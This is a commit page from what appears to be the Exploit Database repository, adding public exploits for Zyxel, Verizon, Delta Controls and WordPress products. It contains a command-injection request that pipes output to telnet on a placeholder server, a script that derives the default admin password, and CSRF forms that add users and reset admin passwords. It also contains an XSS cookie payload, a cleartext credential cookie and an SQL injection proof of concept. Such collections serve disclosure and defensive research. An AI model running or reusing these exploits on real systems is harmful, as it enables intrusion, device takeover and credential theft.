Skip to content

Commit 093714d

Browse files
author
Offensive Security
committed
DB: 2022-04-20
21 changes to exploits/shellcodes Microsoft Exchange Mailbox Assistants 15.0.847.40 - 'Service MSExchangeMailboxAssistants' Unquoted Service Path Microsoft Exchange Active Directory Topology 15.0.847.40 - 'Service MSExchangeADTopology' Unquoted Service Path 7-zip - Code Execution / Local Privilege Escalation PTPublisher v2.3.4 - Unquoted Service Path EaseUS Data Recovery - 'ensserver.exe' Unquoted Service Path Zyxel NWA-1100-NH - Command Injection ManageEngine ADSelfService Plus 6.1 - User Enumeration Verizon 4G LTE Network Extender - Weak Credentials Algorithm Delta Controls enteliTOUCH 3.40.3935 - Cross-Site Request Forgery (CSRF) Delta Controls enteliTOUCH 3.40.3935 - Cross-Site Scripting (XSS) Delta Controls enteliTOUCH 3.40.3935 - Cookie User Password Disclosure Scriptcase 9.7 - Remote Code Execution (RCE) WordPress Plugin Motopress Hotel Booking Lite 4.2.4 - SQL Injection Easy Appointments 1.4.2 - Information Disclosure WordPress Plugin Videos sync PDF 1.7.4 - Stored Cross Site Scripting (XSS) WordPress Plugin Popup Maker 1.16.5 - Stored Cross-Site Scripting (Authenticated) REDCap 11.3.9 - Stored Cross Site Scripting PKP Open Journals System 3.3 - Cross-Site Scripting (XSS) WordPress Plugin Elementor 3.6.2 - Remote Code Execution (RCE) (Authenticated) Fuel CMS 1.5.0 - Cross-Site Request Forgery (CSRF)
1 parent 6457d17 commit 093714d

File tree

22 files changed

+906
-1
lines changed

22 files changed

+906
-1
lines changed

‎exploits/hardware/remote/50870.txt

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
# Exploit Title: Zyxel NWA-1100-NH - Command Injection
2+
# Date: 12/4/2022
3+
# Exploit Author: Ahmed Alroky
4+
# Vendor Homepage: https://www.zyxel.com/homepage.shtml
5+
# Version: ALL BEFORE 2.12
6+
# Tested on: Linux
7+
# CVE : CVE-2021-4039
8+
# References : https://download.zyxel.com/NWA1100-NH/firmware/NWA1100-NH_2.12(AASI.3)C0_2.pdf ,
9+
https://www.zyxel.com/support/OS-command-injection-vulnerability-of-NWA1100-NH-access-point.shtml
10+
11+
12+
HTTP Request :
13+
14+
POST /login/login.html HTTP/1.1
15+
Host: IP_address:8081
16+
Content-Length: 80
17+
Cache-Control: max-age=0
18+
Upgrade-Insecure-Requests: 1
19+
Origin: http:/IP_address:8081
20+
Content-Type: application/x-www-form-urlencoded
21+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
22+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
23+
Referer: http://IP_address:8081/login/login.html
24+
Accept-Encoding: gzip, deflate
25+
Accept-Language: en-US,en;q=0.9
26+
Connection: close
27+
28+
myname=ffUfRAgO%60id%7ctelnet%20yourserverhere%2021%60&mypasswd=test&Submit=Login

‎exploits/hardware/remote/50875.txt

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
Exploit Title: Verizon 4G LTE Network Extender - Weak Credentials Algorithm
2+
Exploit Author: LiquidWorm
3+
4+
5+
Vendor: Verizon Communications Inc.
6+
Product web page: https://www.verizon.com
7+
Affected version: GA4.38 - V0.4.038.2131
8+
9+
Summary: An LTE Network Extender enhances your indoor and 4G
10+
LTE data and voice coverage to provide better service for your
11+
4G LTE mobile devices. It's an extension of our 4G LTE network
12+
that's placed directly in your home or office. The LTE Network
13+
Extender works with all Verizon-sold 4G LTE mobile devices for
14+
4G LTE data service and HD Voice-capable 4G LTE devices for voice
15+
service. This easy-to-install device operates like a miniature
16+
cell tower that plugs into your existing high-speed broadband
17+
connection to communicate with the Verizon wireless network.
18+
19+
Desc: Verizon's 4G LTE Network Extender is utilising a weak
20+
default admin password generation algorithm. The password is
21+
generated using the last 4 values from device's MAC address
22+
which is disclosed on the main webUI login page to an unauthenticated
23+
attacker. The values are then concatenated with the string
24+
'LTEFemto' resulting in something like 'LTEFemtoD080' as the
25+
default Admin password.
26+
27+
Tested on: lighttpd-web
28+
29+
30+
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
31+
@zeroscience
32+
33+
34+
Advisory ID: ZSL-2022-5701
35+
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5701.php
36+
37+
38+
17.02.2022
39+
40+
--
41+
42+
43+
snippet:///Exploit
44+
//
45+
// Verizon 4G LTE Network Extender Super Awesome JS Exploit
46+
//
47+
48+
console.log("Calling 'isDefaultPassword' API");
49+
let req = new Request("/webapi/isDefaultPassword");
50+
let def = req.url;
51+
52+
const doAjax = async () => {
53+
const resp = await fetch(def);
54+
if (resp.ok) {
55+
const jsonyo = await resp.json();
56+
return Promise.resolve(jsonyo);
57+
} else {
58+
return Promise.reject("Smth not rite captain!");
59+
}
60+
}
61+
doAjax().then(console.log).catch(console.log);
62+
63+
await new Promise(t => setTimeout(t, 1337));
64+
65+
console.log("Verizon Admin Password: ");
66+
let mac = document.querySelector("#mac_address").innerHTML;
67+
console.log("LTEFemto" + mac.substr(-4));

‎exploits/hardware/remote/50878.html

Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
# Exploit Tile: Delta Controls enteliTOUCH 3.40.3935 - Cross-Site Request Forgery (CSRF)
2+
# Exploit Author: LiquidWorm
3+
4+
<!DOCTYPE html>
5+
<html>
6+
<head><title>enteliTouch CSRF</title></head>
7+
<body>
8+
<!--
9+
10+
Delta Controls enteliTOUCH 3.40.3935 Cross-Site Request Forgery (CSRF)
11+
12+
13+
Vendor: Delta Controls Inc.
14+
Product web page: https://www.deltacontrols.com
15+
Affected version: 3.40.3935
16+
3.40.3706
17+
3.33.4005
18+
19+
Summary: enteliTOUCH - Touchscreen Building Controller. Get instant
20+
access to the heart of your BAS. The enteliTOUCH has a 7-inch,
21+
high-resolution display that serves as an interface to your building.
22+
Use it as your primary interface for smaller facilities or as an
23+
on-the-spot access point for larger systems. The intuitive,
24+
easy-to-navigate interface gives instant access to manage your BAS.
25+
26+
Desc: The application interface allows users to perform certain actions
27+
via HTTP requests without performing any validity checks to verify the
28+
requests. This can be exploited to perform certain actions with administrative
29+
privileges if a logged-in user visits a malicious web site.
30+
31+
Tested on: DELTA enteliTOUCH
32+
33+
34+
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
35+
@zeroscience
36+
37+
38+
Advisory ID: ZSL-2022-5702
39+
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5702.php
40+
41+
42+
06.04.2022
43+
44+
-->
45+
46+
47+
CSRF Add User:
48+
49+
<form action="http://192.168.0.210/deltaweb/hmi_useredit.asp?formAction=Add&userName=&userPassword=" method="POST">
50+
<input type="hidden" name="actionName" value="" />
51+
<input type="hidden" name="Username" value="zsl" />
52+
<input type="hidden" name="Password" value="123t00t" />
53+
<input type="hidden" name="AutoLogout" value="17" />
54+
<input type="hidden" name="SS&#95;SelectedOptionId" value="FIL28" />
55+
<input type="hidden" name="ObjRef" value="" />
56+
<input type="hidden" name="Apply" value="true" />
57+
<input type="hidden" name="formAction" value="Add" />
58+
<input type="submit" value="Go for UserAdd" />
59+
</form>
60+
61+
<br />
62+
63+
CSRF Change Admin Password (default: delta:login):
64+
65+
<form action="http://192.168.0.210/deltaweb/hmi_useredit.asp?formAction=Edit&userName=DELTA&userPassword=baaah" method="POST">
66+
<input type="hidden" name="actionName" value="" />
67+
<input type="hidden" name="Username" value="DELTA" />
68+
<input type="hidden" name="Password" value="123456" />
69+
<input type="hidden" name="AutoLogout" value="30" />
70+
<input type="hidden" name="SS&#95;SelectedOptionId" value="" />
71+
<input type="hidden" name="ObjRef" value="ZSL-251" />
72+
<input type="hidden" name="Apply" value="true" />
73+
<input type="hidden" name="formAction" value="Edit" />
74+
<input type="submit" value="Go for UserEdit" />
75+
</form>
76+
77+
</body>
78+
</html>

‎exploits/hardware/remote/50879.html

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
# Exploit Title: Delta Controls enteliTOUCH 3.40.3935 - Cross-Site Scripting (XSS)
2+
# Exploit Author: LiquidWorm
3+
4+
<!DOCTYPE html>
5+
<html>
6+
<head><title>enteliTouch XSS</title></head>
7+
<body>
8+
<!--
9+
10+
Delta Controls enteliTOUCH 3.40.3935 Cross-Site Scripting (XSS)
11+
12+
13+
Vendor: Delta Controls Inc.
14+
Product web page: https://www.deltacontrols.com
15+
Affected version: 3.40.3935
16+
3.40.3706
17+
3.33.4005
18+
19+
Summary: enteliTOUCH - Touchscreen Building Controller. Get instant
20+
access to the heart of your BAS. The enteliTOUCH has a 7-inch,
21+
high-resolution display that serves as an interface to your building.
22+
Use it as your primary interface for smaller facilities or as an
23+
on-the-spot access point for larger systems. The intuitive,
24+
easy-to-navigate interface gives instant access to manage your BAS.
25+
26+
Desc: Input passed to the POST parameter 'Username' is not properly
27+
sanitised before being returned to the user. This can be exploited
28+
to execute arbitrary HTML code in a user's browser session in context
29+
of an affected site.
30+
31+
Tested on: DELTA enteliTOUCH
32+
33+
34+
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
35+
@zeroscience
36+
37+
38+
Advisory ID: ZSL-2022-5703
39+
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5703.php
40+
41+
42+
06.04.2022
43+
44+
-->
45+
46+
47+
<form action="http://192.168.0.210/deltaweb/hmi_userconfig.asp" method="POST">
48+
<input type="hidden" name="userInfo" value="" />
49+
<input type="hidden" name="UL&#95;SelectedOptionId" value="" />
50+
<input type="hidden" name="Username" value=""><&#47;script><script>alert&#40;document&#46;cookie&#41;<&#47;script>" />
51+
<input type="hidden" name="formAction" value="Delete" />
52+
<input type="submit" value="CSRF XSS Alert!" />
53+
</form>
54+
55+
</body>
56+
</html>

‎exploits/hardware/remote/50880.txt

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
Exploit Title: Delta Controls enteliTOUCH 3.40.3935 - Cookie User Password Disclosure
2+
Exploit Author: LiquidWorm
3+
4+
5+
Vendor: Delta Controls Inc.
6+
Product web page: https://www.deltacontrols.com
7+
Affected version: 3.40.3935
8+
3.40.3706
9+
3.33.4005
10+
11+
Summary: enteliTOUCH - Touchscreen Building Controller. Get instant
12+
access to the heart of your BAS. The enteliTOUCH has a 7-inch,
13+
high-resolution display that serves as an interface to your building.
14+
Use it as your primary interface for smaller facilities or as an
15+
on-the-spot access point for larger systems. The intuitive,
16+
easy-to-navigate interface gives instant access to manage your BAS.
17+
18+
Desc: The application suffers from a cleartext transmission/storage
19+
of sensitive information in a Cookie. This allows a remote
20+
attacker to intercept the HTTP Cookie authentication credentials
21+
through a man-in-the-middle attack.
22+
23+
Tested on: DELTA enteliTOUCH
24+
25+
26+
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
27+
@zeroscience
28+
29+
30+
Advisory ID: ZSL-2022-5704
31+
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5704.php
32+
33+
34+
06.04.2022
35+
36+
--
37+
38+
39+
GET /deltaweb/hmi_useredit.asp?ObjRef=BAC.1000.ZSL3&formAction=Edit HTTP/1.1
40+
Host: 192.168.0.210
41+
Cache-Control: max-age=0
42+
User-Agent: Toucher/1.0
43+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
44+
Referer: http://192.168.0.210/deltaweb/hmi_userconfig.asp
45+
Accept-Encoding: gzip, deflate
46+
Accept-Language: en-US,en;q=0.9
47+
Cookie: Previous=; lastLoaded=; LastUser=DELTA; LogoutTime=10; UserInstance=1; UserName=DELTA; Password=LOGIN; LastGraphic=; LastObjRef=; AccessKey=DADGGEOFNILEJMBBCNDKFNJPHPPJDAEDGEBJACPEAPBHDCGPCAGNNDEOJIJEOPPLOEKCFMAFNHDJPHGACMDFMPFDNONPIJAHBBNAAIDMDHCCPMAJDELDNLOPBPDCKELJADDKICPMMPCNEOMBHMKIIBJHFAJKNKJFGDEOLPMGMNBEHFLNEDIFMJKMCJKBHPGGEMHJJGMOMAECDKDIIKGNDDGANIHDKPNACLMANGJAOBDNJCFGEIHIJICLPGOFFMDOOLOJCJPAPPKOJFCKFAHDDAGNLCAHKKKGHCBODHBNDCOECGHG
48+
Connection: close

‎exploits/multiple/webapps/50512.py

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,6 @@
22
# Date: 11/11/2021
33
# Exploit Author: Valentin Lobstein
44
# Vendor Homepage: https://apache.org/
5-
# Software Link: https://github.com/Balgogan/CVE-2021-41773
65
# Version: Apache 2.4.49/2.4.50 (CGI enabled)
76
# Tested on: Debian GNU/Linux
87
# CVE : CVE-2021-41773 / CVE-2021-42013

‎exploits/php/webapps/50869.txt

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
# Exploit Title: WordPress Plugin Motopress Hotel Booking Lite 4.2.4 - SQL Injection
2+
# Date: 2022-04-11
3+
# Exploit Author: Mohsen Dehghani (aka 0xProfessional)
4+
# Vendor Homepage: https://motopress.com/
5+
# Software Link: https://downloads.wordpress.org/plugin/motopress-hotel-booking-lite.4.2.4.zip
6+
# Version: 4.2.4
7+
# Tested on: Windows/XAMPP
8+
###########################################################################
9+
PoC:
10+
11+
Vulnerable File:sync-urls-repository.php
12+
13+
public function insertUrls($roomId, $urls)
14+
{
15+
global $wpdb;
16+
17+
if (empty($urls)) {
18+
return;
19+
}
20+
21+
$urls = $this->prepareUrls($urls);
22+
$values = array();
23+
24+
foreach ($urls as $syncId => $url) {
25+
$values[] = $wpdb->prepare("(%d, %s, %s)", $roomId, $syncId, $url);
26+
}
27+
28+
$sql = "INSERT INTO {$this->tableName} (room_id, sync_id, calendar_url)"
29+
. " VALUES " . implode(', ', $values);
30+
31+
$wpdb->query($sql);
32+
33+
Vulnerable Parameter:
34+
room_id=SQL Injection
35+
sync_id=SQL Injection

0 commit comments

Comments
 (0)